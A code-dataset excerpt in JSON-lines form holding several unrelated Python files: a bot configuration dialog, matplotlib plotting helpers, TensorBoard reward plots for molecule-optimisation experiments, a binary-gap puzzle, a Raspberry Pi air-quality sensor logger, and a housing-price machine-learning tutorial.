else:\n code, botname = d.menu(\"Select bot to edit\",\n choices=[(i,i) for i in bots]+[('NEW','New bot')])\n if code != d.OK: raise QuitException()\n if botname == 'NEW':\n code, txt = d.inputbox(\"Your name for the bot\")\n if code != d.OK: raise QuitException()\n config['bots'][txt] = configure_bot(d,{})\n else:\n config['bots'][botname] = configure_bot(d,config['bots'][botname])\n setup_systemd(d,config)\n return config\n\nif __name__=='__main__':\n print(repr(configure({})))\n \n \n","sub_path":"dexbot/cli_conf.py","file_name":"cli_conf.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"545042498","text":"#Module: myplot\n\n#ADD VARIABLE LABEL POSITION AND TEXT SIZE ACCORDING TO BAR WIDTH\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef bar_autolabel(rects,color,plot,figure,width):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n label = 0\n if(height >= 0):\n label = plot.annotate(str(format(height,'1.1e'))[0:4]+str(format(height,'1.1e'))[-1],\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 4), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom',color=color,rotation = 90,fontsize=width*33) #width * 33 for 3 bars\n \n else:\n label = plot.annotate(str(format(height,'1.1e'))[0:5]+str(format(height,'1.1e'))[-1],\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, -4), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='top',color=color,rotation = 90,fontsize=width*33)\n \n figure.tight_layout()\n #plt.draw()\n bbox = label.get_window_extent()\n plot = plt.gca()\n bbox_data = bbox.transformed(plot.transData.inverted())\n plot.update_datalim(1.1*bbox_data.corners())\n plot.autoscale_view()\n\ndef line_check(ypoints):\n checkPoints = np.zeros((0,),dtype=float)\n \n for ypoint in ypoints:\n if ypoint not in checkPoints:\n checkPoints = np.append(checkPoints,ypoint)\n \n return len(checkPoints) == 1\n \ndef plot_autolabel(pointsx,pointsy,color,plot,figure,width):\n points = np.array((pointsx,pointsy)).T\n \n if not line_check(pointsy):\n for point in points:\n label = 0\n if(point[1] >= 0):\n label = plot.annotate(str(format(point[1],'1.1e'))[0:4]+str(format(point[1],'1.1e'))[-1],\n xy=(point),\n xytext=(0, 4), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom',rotation = 90, color=color,fontsize=width*33)\n else:\n label = plot.annotate(str(format(point[1],'1.1e'))[0:5]+str(format(point[1],'1.1e'))[-1],\n xy=(point),\n xytext=(0, -4), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='top',rotation = 90, color=color,fontsize=width*33)\n \n figure.tight_layout()\n #plt.draw()\n bbox = label.get_window_extent()\n plot = plt.gca()\n bbox_data = bbox.transformed(plot.transData.inverted())\n plot.update_datalim(1.1*bbox_data.corners())\n plot.autoscale_view()\n else:\n label = 0\n point = points[-1]\n point[0] = point[0] + 1\n if(point[1] >= 0):\n label = plot.annotate(str(format(point[1],'1.1e'))[0:4]+str(format(point[1],'1.1e'))[-1],\n xy=(point),\n xytext=(4, 0), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='left', va='center',rotation = 0, color=color,fontsize=width*33)\n else:\n label = plot.annotate(str(format(point[1],'1.1e'))[0:5]+str(format(point[1],'1.1e'))[-1],\n xy=(point),\n xytext=(4, 0), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='left', va='center',rotation = 0, color=color,fontsize=width*33)\n \n figure.tight_layout()\n #plt.draw()\n bbox = label.get_window_extent()\n plot = plt.gca()\n bbox_data = bbox.transformed(plot.transData.inverted())\n plot.update_datalim(1.1*bbox_data.corners())\n plot.autoscale_view()\n \n\n#labels: x axis title, y axis title, graph title, series 1 name, .., series n name\n#types: 0 bar, 1 plot, 2 scatter\ndef plot(xdata,ydata,types,colors,labels,plot_labels):\n xticks = np.arange(len(xdata))\n \n try:\n series_count = ydata.shape[0]\n except IndexError: #if only 1 series is to be displayed\n series_count = 1\n \n bar_count = types.count(0)\n \n width = 1/(1+bar_count)\n \n fig, ax = plt.subplots()\n \n bar_index = 0\n for i in range(0,series_count):\n this_plot = 0\n if(types[i] == 0):\n this_plot = ax.bar(xticks + width*(bar_index - ((bar_count-1)/2)),ydata[i],width,label = labels[i+3],color = colors[i])\n if(plot_labels[i] == 1):\n bar_autolabel(this_plot,colors[i],ax,fig,width)\n bar_index = bar_index + 1\n if(types[i] == 1):\n if not line_check(ydata[i]):\n this_plot = ax.plot(xticks,ydata[i],label = labels[i+3],color = colors[i])\n else:\n xticks_line = np.arange(len(xdata)+2)-1\n this_plot = ax.plot(xticks_line,ydata[i][0]*np.ones((len(xticks_line),)),label = labels[i+3],color = colors[i])\n if(plot_labels[i] == 1):\n plot_autolabel(xticks,ydata[i],colors[i],ax,fig,width)\n \n #scatter plot\n #if(types[i] == 0): this_plot = ax.bar(x + (width*i - bar_count),ydata[i],width,label = labels[i+4])\n \n try:\n plots = [plots,this_plot]\n except NameError:\n plots = this_plot\n \n ax.set_xlabel(labels[0])\n ax.set_ylabel(labels[1])\n ax.set_title(labels[2])\n ax.set_xticks(xticks)\n ax.set_xticklabels(xdata) \n \n ax.legend()\n ##ax.legend(loc='upper left', bbox_to_anchor=(1,1))\n #plt.tight_layout(pad=7)\n fig.tight_layout()\n \n rAx,rFig = ax,fig\n \n plt.show()\n return rFig\n \n \n###############################################################################\ndef plot_old(threads,cyclesEMU,cyclesx86,op,sparsity,size,ps):\n if cyclesEMU[0] < 1.0:\n cyclesEMU = np.delete(cyclesEMU,0)\n threads = np.delete(threads,0)\n if cyclesEMU[-1] < 1.0:\n cyclesEMU = np.delete(cyclesEMU,-1)\n threads = np.delete(threads,-1)\n \n x = np.arange(len(threads)) # the label locations\n width = 0.35 # the width of the bars\n \n fig, ax = plt.subplots()\n rects1 = ax.bar(x - 0*width/2, cyclesEMU, width, label='EMU')\n #rects2 = ax.bar(x + width/2, cyclesx86, width, label='x86')\n \n # Add some text for labels, title and custom x-axis tick labels, etc.\n ax.set_ylabel(\"Clock Cycles\")\n ax.set_xlabel(\"Number Of Threads\")\n #ax.set_title(\"Sparsity:\" + str(sparsity) + \", Matrix Size:\" + str(size))# + operation[op])\n ax.set_title(\"Matrix Size:\" + str(size) + operation[op])\n ax.set_xticks(x)\n ax.set_xticklabels(threads)\n \n \n cyclesx86_to_plot = np.full_like(cyclesEMU,cyclesx86[1])\n \n x86_plot = ax.plot(x,cyclesx86_to_plot,label='x86 @ 32 Threads',color=\"orange\")\n x86_label = ax.annotate(str(format(cyclesx86[1],'1.1e')),\n xy=((x[0]+x[-1])/2, cyclesx86[1]),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom',color=\"orange\")\n \n #print(x86_plot[0].get_ydata())\n \n ax.legend()\n \n #autolabel(x86_plot)\n autolabel(rects1,ax)\n \n #print(rects1[0].get_height())\n \n fig.tight_layout()\n \n plt.draw()\n bbox = x86_label.get_window_extent()\n \n ax = plt.gca()\n bbox_data = bbox.transformed(ax.transData.inverted())\n ax.update_datalim(bbox_data.corners())\n ax.autoscale_view()\n \n if ps == 1:\n plt.savefig(operation[op].split(' ')[1]+str(size)+'Spar'+str(sparsity)+'.svg',transparent = True)\n plt.savefig(operation[op].split(' ')[1]+str(size)+'Spar'+str(sparsity)+'.png',dpi = 200,transparent = True)\n \n plt.show()","sub_path":"GUI Browser/Dynamic Parse & Plot 1/myplot.py","file_name":"myplot.py","file_ext":"py","file_size_in_byte":8095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"6184052","text":"# coding=utf-8\r\n# Copyright [2020] [Pranay Shah]\r\n\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# You may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\n# Python 3\r\n\r\nimport glob, os\r\nimport numpy as np\r\nfrom absl import app\r\nfrom tensorboard.backend.event_processing import event_accumulator\r\nimport matplotlib as mpl\r\n\r\nmpl.rcParams['font.sans-serif'] = [\r\n 'Roboto Condensed', 'Roboto Condensed Regular'\r\n]\r\nimport matplotlib._color_data as mcd\r\nimport matplotlib.patches as mpatch\r\n\r\noverlap = {name for name in mcd.CSS4_COLORS\r\n if \"xkcd:\" + name in mcd.XKCD_COLORS}\r\n\r\nimport seaborn as sns\r\nimport math\r\nimport rdkit\r\nimport itertools\r\nfrom rdkit import Chem, DataStructs\r\nfrom rdkit.Chem import rdDepictor\r\nfrom rdkit.Chem.Draw import rdMolDraw2D\r\nfrom rdkit.Chem import AllChem, Draw, Descriptors, QED\r\nimport json\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.cm as cm\r\nfrom scipy.optimize import leastsq\r\nfrom scipy import interpolate\r\nimport cairosvg as cs\r\nfrom itertools import islice\r\n\r\n############################################ THIS CODE IS ORIGINAL ###########################################\r\n\r\n\r\ndef plot_re(events=None, re_type=None):\r\n fig, ax = plt.subplots(figsize=(25, 10))\r\n ax = plt.gca()\r\n ax.set_ylim(-0.2, 1.2)\r\n ax.set_xlim(0, 202000)\r\n plt.xlabel('Step', fontsize=20.0)\r\n plt.ylabel('Average final reward', fontsize=20.0)\r\n plt.title(\"A comparison of the average final rewards \\n between different intrinsically motivated agents.\",\r\n fontweight=\"bold\", size=15)\r\n dict(islice(enumerate(sorted(overlap, reverse=False)), None, None, 2)).items()\r\n # sorted(overlap, reverse=False)\r\n for e, re, n in zip(events, re_type,\r\n dict(islice(enumerate(sorted(overlap, reverse=False)), None, None, 3)).items()):\r\n event = get_event(r'C:\\Users\\User\\PycharmProjects\\MolDQN\\mol_dqn\\experiments\\optimize_qed\\reward_eng\\{}\\filtered_events'.format(e)) #re\r\n reward = get_lc(event, 'bdqn_2/summaries/reward') # change this to qt\r\n x = reward[:, 0] # NB: This will be the predictive mean: q_t\r\n y = reward[:, 1] # NB: This will be the predictive mean: q_t\r\n y_smooth = np.array(smoothing(y, weight=0.99))\r\n plt.plot(x, y_smooth, color=mcd.XKCD_COLORS[\"xkcd:\" + n[1]].upper(), label=re)\r\n\r\n if x.shape[0] == 5000:\r\n ax.plot(x, np.ones((5000,)), color='r') # 5000\r\n ax.plot(x, np.zeros((5000,)), color='r')\r\n else:\r\n ax.plot(x, np.ones((10000,)), color='r') # 5000\r\n ax.plot(x, np.zeros((10000,)), color='r')\r\n\r\n plt.grid(True)\r\n plt.legend(loc='lower right')\r\n plt.show()\r\n\r\ndef plot_ids_lr(events=None, re_type=None):\r\n fig1 = plt.figure(figsize=(25, 10))\r\n ax0 = fig1.add_subplot(111) # 221\r\n ax0 = plt.gca()\r\n ax0.set_ylim(-0.2, 1.2)\r\n ax0.set_xlim(0, 202000)\r\n ax0.set_xlabel('Step', fontsize=10.0)\r\n ax0.set_ylabel('Average Final Reward', fontsize=10.0)\r\n\r\n event = get_event(r'C:\\Users\\User\\PycharmProjects\\MolDQN\\mol_dqn\\experiments\\optimize_qed\\ids\\bootstrap2') # r\r\n reward = get_lc(event, 'bdqn_2/summaries/reward') # change this to qt\r\n x_bs = reward[:, 0] # NB: This will be the predictive mean: q_t\r\n y_bs = reward[:, 1] # NB: This will be the predictive mean: q_t\r\n y_smooth_bs = np.array(smoothing(y_bs, weight=0.999))\r\n ax0.plot(x_bs, y_smooth_bs, color=mcd.XKCD_COLORS[\"xkcd:\" + 'orange'].upper(), label='BS-DQN-IDS')\r\n\r\n event = get_event(r'C:\\Users\\User\\PycharmProjects\\MolDQN\\mol_dqn\\experiments\\optimize_qed\\bayesian\\lr\\local_reparam')\r\n reward = get_lc(event, 'bdqn_2/summaries/reward') # change this to qt\r\n x_bdqn = reward[:, 0] # NB: This will be the predictive mean: q_t\r\n y_bdqn = reward[:, 1] # NB: This will be the predictive mean: q_t\r\n y_smooth_bdqn = np.array(smoothing(y_bdqn, weight=0.999))\r\n ax0.plot(x_bdqn, y_smooth_bdqn, color=mcd.XKCD_COLORS[\"xkcd:\" + 'maroon'].upper(), linestyle='dashed', label='Locally Reparameterized BDQN-TS')\r\n ax0.grid(True)\r\n ax0.legend(loc='lower right')\r\n\r\n plt.suptitle(\r\n \"A comparison of the average final rewards between Bootstrapped-IDS exploration \\n and locally reparameterized Bayesian-DQN with Thompson Sampling.\",\r\n fontweight=\"bold\", size=15)\r\n plt.show()\r\n\r\ndef plot_ids(events=None, re_type=None):\r\n #fig0, ax = plt.subplots(figsize=(25, 10))\r\n '''plt.figure(figsize=(25,10))\r\n axes = plt.gca()\r\n axes.set_ylim(-0.2, 1.2)\r\n axes.set_xlim(0, 202000)'''\r\n\r\n fig1 = plt.figure(figsize=(25, 10))\r\n ax0 = fig1.add_subplot(111) # 221\r\n ax0 = plt.gca()\r\n ax0.set_ylim(-0.2, 1.2)\r\n ax0.set_xlim(0, 202000)\r\n ax0.set_xlabel('Step', fontsize=10.0)\r\n ax0.set_ylabel('Log-likelihood Loss (Squared TD Error)', fontsize=10.0)\r\n\r\n event = get_event(r'C:\\Users\\User\\PycharmProjects\\MolDQN\\mol_dqn\\experiments\\optimize_qed\\ids\\bdqn4')\r\n reward = get_lc(event, 'dqn_ids_2/summaries/log_td_error') # change this to qt\r\n x_bdqn = reward[:, 0] # NB: This will be the predictive mean: q_t\r\n y_bdqn = reward[:, 1] # NB: This will be the predictive mean: q_t\r\n y_smooth_bdqn = np.array(smoothing(y_bdqn, weight=0.999))\r\n ax0.plot(x_bdqn, y_smooth_bdqn, color=mcd.XKCD_COLORS[\"xkcd:\" + 'cerulean'].upper(), label='BDQN-IDS')\r\n\r\n event = get_event(r'C:\\Users\\User\\PycharmProjects\\MolDQN\\mol_dqn\\experiments\\optimize_qed\\ids\\bootstrap2') # r\r\n reward = get_lc(event, 'bdqn_2/summaries/td_error') # change this to qt\r\n x_bs = reward[:, 0] # NB: This will be the predictive mean: q_t\r\n y_bs = reward[:, 1] # NB: This will be the predictive mean: q_t\r\n y_smooth_bs = np.array(smoothing(y_bs, weight=0.999))\r\n ax0.plot(x_bs, y_smooth_bs, color=mcd.XKCD_COLORS[\"xkcd:\" + 'orange'].upper(), label='BS-DQN-IDS')\r\n ax0.grid(True)\r\n ax0.legend(loc='lower right')\r\n\r\n plt.suptitle(\r\n \"Log-likelihood loss comparison for Bayesian-DQN-IDS and Bootstrapped-DQN-IDS.\",\r\n fontweight=\"bold\", size=10)\r\n plt.show()\r\n\r\n\r\ndef plot():\r\n event = get_event(r'C:\\Users\\User\\PycharmProjects\\MolDQN\\mol_dqn\\experiments\\optimize_qed\\ids\\bootstrap2')\r\n reward = get_lc(event, 'bdqn_2/summaries/reward') # change this to qt\r\n epistemic = get_lc(event, 'bdqn_2/summaries/epistemic_uncertainty')\r\n aleatoric = get_lc(event, 'bdqn_2/summaries/aleatoric_uncertainty')\r\n\r\n x = reward[:, 0] # NB: This will be the predictive mean: q_t\r\n y = reward[:, 1] # NB: This will be the predictive mean: q_t\r\n y_smooth = np.array(smoothing(y, weight=0.99))\r\n if epistemic.shape[0] <= 5000:\r\n e_smooth = np.array(smoothing(epistemic[0::1, 1], weight=0.5))\r\n a_smooth = np.array(smoothing(aleatoric[0::1, 1], weight=0.5))\r\n else:\r\n e_smooth = np.array(smoothing(epistemic[0::2, 1], weight=0.5))\r\n a_smooth = np.array(smoothing(aleatoric[0::2, 1], weight=0.5))\r\n y_lower_e = y_smooth - np.sqrt(e_smooth) / 5\r\n y_upper_e = y_smooth + np.sqrt(e_smooth) / 5\r\n y_lower_a = y_smooth - np.sqrt(a_smooth) / 5\r\n y_upper_a = y_smooth + np.sqrt(a_smooth) / 5\r\n y_lower_ae = y_smooth - np.sqrt(e_smooth) / 5 - np.sqrt(a_smooth) / 5\r\n y_upper_ae = y_smooth + np.sqrt(e_smooth) / 5 + np.sqrt(a_smooth) / 5\r\n\r\n fig1 = plt.figure(figsize=(25, 10))\r\n ax0 = fig1.add_subplot(221)\r\n ax0 = plt.gca()\r\n ax0.set_ylim(-0.2, 1.2)\r\n ax0.set_xlim(0, 202000)\r\n ax0.set_xlabel('Step', fontsize=10.0)\r\n ax0.set_ylabel('Q-values', fontsize=10.0)\r\n ax0.set_title(\"Raw Q-values\", fontweight=\"bold\", size=10)\r\n ax0.plot(x, y, color='y')\r\n if x.shape[0] == 5000:\r\n ax0.plot(x, np.ones((5000,)), color='r') # 5000\r\n ax0.plot(x, np.zeros((5000,)), color='r')\r\n else:\r\n ax0.plot(x, np.ones((10000,)), color='r') # 5000\r\n ax0.plot(x, np.zeros((10000,)), color='r')\r\n ax0.grid(True)\r\n\r\n ax1 = fig1.add_subplot(222)\r\n ax1 = plt.gca()\r\n ax1.set_ylim(-0.25, 1.2)\r\n ax1.set_xlim(0, 202000)\r\n ax1.set_xlabel('Step', fontsize=10.0)\r\n ax1.set_ylabel('Predictive Mean Q-value', fontsize=10.0)\r\n ax1.set_title(\"Epistemic Uncertainty\", fontweight=\"bold\", size=10)\r\n ax1.plot(x, y_smooth, color='b', linewidth=2)\r\n if x.shape[0] == 5000:\r\n ax1.plot(x, np.ones((5000,)), color='r') # 5000\r\n ax1.plot(x, np.zeros((5000,)), color='r')\r\n else:\r\n ax1.plot(x, np.ones((10000,)), color='r') # 5000\r\n ax1.plot(x, np.zeros((10000,)), color='r')\r\n ax1.fill_between(x, y_smooth, y_lower_e, color='y', linewidth=2)\r\n ax1.fill_between(x, y_smooth, y_upper_e, color='y', linewidth=2)\r\n ax1.grid(True)\r\n\r\n # fig2 = plt.figure(figsize=(25, 10))\r\n ax2 = fig1.add_subplot(223)\r\n ax2 = plt.gca()\r\n ax2.set_ylim(-0.5, 1.5)\r\n ax2.set_xlim(0, 202000)\r\n ax2.set_xlabel('Step', fontsize=10.0)\r\n ax2.set_ylabel('Predictive Mean Q-value', fontsize=10.0)\r\n ax2.set_title(\"Aleatoric Uncertainty\", fontweight=\"bold\", size=10)\r\n ax2.plot(x, y_smooth, color='b', linewidth=2)\r\n if x.shape[0] == 5000:\r\n ax2.plot(x, np.ones((5000,)), color='r') # 5000\r\n ax2.plot(x, np.zeros((5000,)), color='r')\r\n else:\r\n ax2.plot(x, np.ones((10000,)), color='r') # 5000\r\n ax2.plot(x, np.zeros((10000,)), color='r')\r\n ax2.fill_between(x, y_smooth, y_lower_a, color='y', linewidth=2)\r\n ax2.fill_between(x, y_smooth, y_upper_a, color='y', linewidth=2)\r\n ax2.grid(True)\r\n\r\n ax3 = fig1.add_subplot(224)\r\n ax3 = plt.gca()\r\n ax3.set_ylim(-0.7, 1.6)\r\n ax3.set_xlim(0, 202000)\r\n ax3.set_xlabel('Step', fontsize=10.0)\r\n ax3.set_ylabel('Predictive Mean Q-value', fontsize=10.0)\r\n ax3.set_title(\"Total Predictive Uncertainty (Aleatoric + Epistemic)\", fontweight=\"bold\", size=10)\r\n ax3.plot(x, y_smooth, color='b', linewidth=2)\r\n if x.shape[0] == 5000:\r\n ax3.plot(x, np.ones((5000,)), color='r') # 5000\r\n ax3.plot(x, np.zeros((5000,)), color='r')\r\n else:\r\n ax3.plot(x, np.ones((10000,)), color='r') # 5000\r\n ax3.plot(x, np.zeros((10000,)), color='r')\r\n ax3.fill_between(x, y_smooth, y_lower_ae, color='y', linewidth=2)\r\n ax3.fill_between(x, y_smooth, y_upper_ae, color='y', linewidth=2)\r\n ax3.grid(True)\r\n\r\n plt.title(\r\n \"A comparison of the average final rewards \\n between IDS exploration in Bootstrapped-DQN and Bayesian-DQN.\",\r\n fontweight=\"bold\", size=15)\r\n plt.show()\r\n\r\n\r\ndef main(argv):\r\n del argv # unused.\r\n # plot()\r\n # evs_test = ['ids_original']\r\n '''evs = ['ids_original', 'ids_norm', 'ids_2', 'ids_norm2',\r\n 'ids_true_norm', 'ids_true_e1_norm', 'e1_norm', 'e2_norm',\r\n 'ids_huber10', 'info_gain_norm', 'info_gain_true_e1_norm', 'info_gain2']'''\r\n evs = ['ids_original', 'ids_norm', 'ids_2', 'ids_norm2',\r\n 'ids_true_norm', 'ids_true_e1_norm', 'e1_norm_subtract', 'e1_norm_add', 'e1_add', 'e1_subtract', 'e2_norm',\r\n 'ids_huber10', 'info_gain_norm', 'info_gain_true_e1_norm', 'info_gain2']\r\n evs = ['e1_norm_subtract', 'e1_norm_add', 'e1_add', 'e1_subtract']\r\n '''re_type = ['IDS-e1', 'IDS-e1Norm', 'IDS-e2', 'IDS-e2Norm',\r\n 'Norm-IDS-e1', 'Norm-IDS-e1Norm', 'e1', 'e2',\r\n 'IDS-Huber', 'InfoGain-e1Norm', 'Norm-InfoGain-e1Norm', 'InfoGain-e1']'''\r\n re_type = ['IDS-e1', 'IDS-e1Norm', 'IDS-e2', 'IDS-e2Norm',\r\n 'Norm-IDS-e1', 'Norm-IDS-e1Norm', 'e1_norm_subtract', 'e1_norm_add', 'e1_add', 'e1_subtract', 'e2',\r\n 'IDS-Huber', 'InfoGain-e1Norm', 'Norm-InfoGain-e1Norm', 'InfoGain-e1']\r\n re_type = ['e1_norm_subtract', 'e1_norm_add', 'e1_add', 'e1_subtract']\r\n #plot_re(events=evs, re_type=re_type)\r\n smiles = []\r\n\r\n #plot_ids()\r\n #plot_ids_lr()\r\n # plot_qvals_with_change_20() # requires json\r\n plot_opt_path_20()\r\n # plot_qed_relative_improvements() # requires json\r\n # plot_qed_improvements() # requires json\r\n #plot_drug20_smiles(smiles) # requires json\r\n # plot_max_qed_mols_2()\r\n #plot_multi_obj_opt(smiles, \"CCN1c2ccccc2Cc3c(O)ncnc13\", idx=2) # requires json\r\n #plot_multi_obj_opt_multi_plot(smiles, \"CCN1c2ccccc2Cc3c(O)ncnc13\", idx=0) # requires json\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(main)\r\n############################################ THIS CODE IS ORIGINAL ###########################################\r\n","sub_path":"plot2.py","file_name":"plot2.py","file_ext":"py","file_size_in_byte":12819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"170533677","text":"import pdb\n\ndef solution(n):\n '''\n - using the bin shift\n - using the bin and operator\n '''\n i = n\n found = False\n max_v = 0\n count = 0\n while i:\n if i & 1 == 1:\n if(not found):\n found = True\n else:\n max_v = max(max_v,count)\n count = 0\n else:\n count += 1\n\n i >>= 1 \n\n return max_v\n\n### call the solution\nprint(solution(15))\n","sub_path":"pythonCodes/miscell_solutions/binGap.py","file_name":"binGap.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"157286988","text":"import Adafruit_DHT as dht\nimport serial, struct, csv, os, time\nfrom time import sleep\n\nCOM_PORT = '/dev/ttyUSB0'\n\nPMS7003_FRAME_LENGTH = 0\nPMS7003_PM1P0 = 1\nPMS7003_PM2P5 = 2\nPMS7003_PM10P0 = 3\nPMS7003_PM1P0_ATM = 4\nPMS7003_PM2P5_ATM = 5\nPMS7003_PM10P0_ATM = 6\nPMS7003_PCNT_0P3 = 7\nPMS7003_PCNT_0P5 = 8\nPMS7003_PCNT_1P0 = 9\nPMS7003_PCNT_2P5 = 10\nPMS7003_PCNT_5P0 = 11\nPMS7003_PCNT_10P0 = 12\nPMS7003_VER = 13\nPMS7003_ERR_CODE = 14\nPMS7003_CHECK_CODE = 15\n\nwhile True:\n h,t = dht.read_retry(dht.DHT22, 4)\n now = time.localtime()\n ser = serial.Serial(COM_PORT, 9600, timeout=0.1)\n while True:\n c = ser.read(1)\n if len(c) >= 1:\n if ord(c[0]) == 0x42:\n c = ser.read(1)\n if len(c) >= 1:\n if ord(c[0]) == 0x4d:\n break;\n\n buff = ser.read(30)\n check = 0x42 + 0x4d\n check += ord(buff[0:1])\n pms7003_data = struct.unpack('!HHHHHHHHHHHHHBBH', buff)\n\n print ('\\n [%02d.%02d.%02d %02d:%02d:%02d]' \n %(now.tm_year, now.tm_mon, now.tm_mday, now.tm_hour, now.tm_min, now.tm_sec))\n print (' ---------------------------')\n print (' Temperature [*C] = %.1f' %t) \n print (' Humidity ['+'%'+'] = %.1f' %h)\n print (' ---------------------------')\n print (' PM 1.0 [up/m^3] =', str(pms7003_data[PMS7003_PM1P0]))\n print (' PM 2.5 [ug/m^3] =', str(pms7003_data[PMS7003_PM2P5]))\n print (' PM 10 [ug/m^3] =', str(pms7003_data[PMS7003_PM10P0]))\n print (' ---------------------------\\n')\n \n data=['w','%.1f'%t,'%.1f'%h, str(pms7003_data[PMS7003_PM1P0]),\n str(pms7003_data[PMS7003_PM2P5]), str(pms7003_data[PMS7003_PM10P0]),\n '%02d.%02d.%02d'%(now.tm_year, now.tm_mon, now.tm_mday),\n '%02d:%02d:%02d' %(now.tm_hour, now.tm_min, now.tm_sec),' ']\n \n if not os.path.isfile('data/%02d_%02d_%02d.csv'%(now.tm_year, now.tm_mon, now.tm_mday)):\n f = open('data/%02d_%02d_%02d.csv'%(now.tm_year, now.tm_mon, now.tm_mday), 'w')\n csv_writer = csv.writer(f)\n csv_writer.writerow(['name','temperature', 'humidity', 'PM1.0', 'PM2.5', 'PM10', 'date', 'time', 'CO2'])\n f.close()\n \n f = open('data/%02d_%02d_%02d.csv'%(now.tm_year, now.tm_mon, now.tm_mday), 'a')\n csv_writer = csv.writer(f)\n csv_writer.writerow(data)\n \n print(data)\n sleep(300)\n\n","sub_path":"rasp/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"73031396","text":"# 下載資料\n# 要寫在 Python 檔案裡面\nimport os\nimport tarfile\nimport urllib\n\nDOWNLOAD_ROOT = \"https://raw.githubusercontent.com/ageron/handson-ml2/master\"\nHOUSING_PATH = os.path.join(\"datasets\", \"housing\")\nHOUSING_URL = DOWNLOAD_ROOT + \"datasets/housing/housing.tgz\"\n\ndef fetch_housing_data(housing_url = HOUSING_URL, housing_path = HOUSING_PATH):\n os.makedirs(housing_path, exist_ok = True)\n tgz_path = os.path.join(housing_path, \"housing.tgz\")\n urllib.reqest.urlretrieve(housing_url, tgz_path)\n housing_tgz = tarfile.open(tgz_path)\n housing_tgz.extractall(path = housing_path)\n housing_tgz.close()\n\n# 用 pandas 載入資料\nimport pandas as pd\n\n# def load_housing_data(housing_path = HOUSING_PATH):\n# csv_path = os.path.join(housing_path, \"housing.csv\")\n# return pd.read_csv(csv_path)\n# housing = load_housing_data()\n# print(housing.head())\n\n# 載入資料\nhousing = pd.read_csv(\"housing.csv\")\n\nprint(\"----------\")\nprint(\"housing.head() 前五列資料:\")\nprint(housing.head())\nprint(\"----------\")\nprint(\"housing.info() 瞭解資料概況(包含總列數、非null值):\")\nprint(housing.info())\nprint(\"----------\")\nprint(\"housing[\\\"ocean_proximity\\\"].value_counts() 瞭解它的值有哪些種類,以及多少地區屬於那些種類\")\nprint(housing[\"ocean_proximity\"].value_counts())\nprint(\"----------\")\nprint(\"housing.describe() 顯示數值屬性的摘要\")\nprint(housing.describe())\nprint(\"----------\")\n\n# 印出所有屬性的直方圖\nimport matplotlib.pyplot as plt\nhousing.hist(bins = 50, figsize = (20, 15))\n# https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.hist.html\n# plt.title(\"所有屬性的直方圖\")##########################\nplt.show()\n\n\n# # test set - way 1:隨機排列取標籤分成測試組與對照組,但新增資料的變化取樣的彈性不足。\nimport numpy as np\n# def split_train_test(data, test_ratio):\n# shuffled_indices = np.random.permutation(len(data)) # 隨機排列\n# test_set_size = int(len(data) * test_ratio) # 選取測試組個數\n# test_indices = shuffled_indices[: test_set_size] # 測試組\n# train_indices = shuffled_indices[test_set_size: ] # 訓練組\n# return data.iloc[train_indices], data.iloc[test_indices] \n# # call function\n# train_set, test_set = split_train_test(housing, 0.2)\n# print(len(train_set))\n# print(len(test_set))\n\n# test set - way 2:\nfrom sklearn.model_selection import train_test_split\ntrain_set, test_set = train_test_split(housing, test_size = 0.2, random_state = 42) # 20% 的測試組\nprint(\"訓練組樣本數:\", len(train_set))\nprint(\"測試組樣本數:\", len(test_set))\n\n# 分層抽樣\nhousing[\"income_cat\"] = pd.cut(housing[\"median_income\"], bins = [0.0, 1.5, 3.0, 4.5, 6.0, np.inf], labels = [1, 2, 3, 4, 5])\nhousing[\"income_cat\"].hist()\nplt.show()\n\n# StratifiedShuffleSplit 分層隨機拆分\nfrom sklearn.model_selection import StratifiedShuffleSplit\nsplit = StratifiedShuffleSplit(n_splits = 1, test_size = 0.2, random_state = 42)\nfor train_index, test_index in split.split(housing, housing[\"income_cat\"]):\n strat_train_set = housing.loc[train_index]\n strat_test_set = housing.loc[test_index]\n # 檢查分類比率\n print(strat_test_set[\"income_cat\"].value_counts() / len(strat_test_set))\n\n\n# 移除 income_cat 屬性,讓資料回到原始狀態\nfor set_ in (strat_train_set, strat_test_set):\n set_.drop(\"income_cat\", axis = 1, inplace = True)\n\n# 先建立副本\nhousing = strat_train_set.copy()\n\n# 將地理資料視覺化\nhousing.plot(kind = \"scatter\", x = \"longitude\", y = \"latitude\", alpha = 0.1)\nplt.show()","sub_path":"l2_housing.py","file_name":"l2_housing.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} 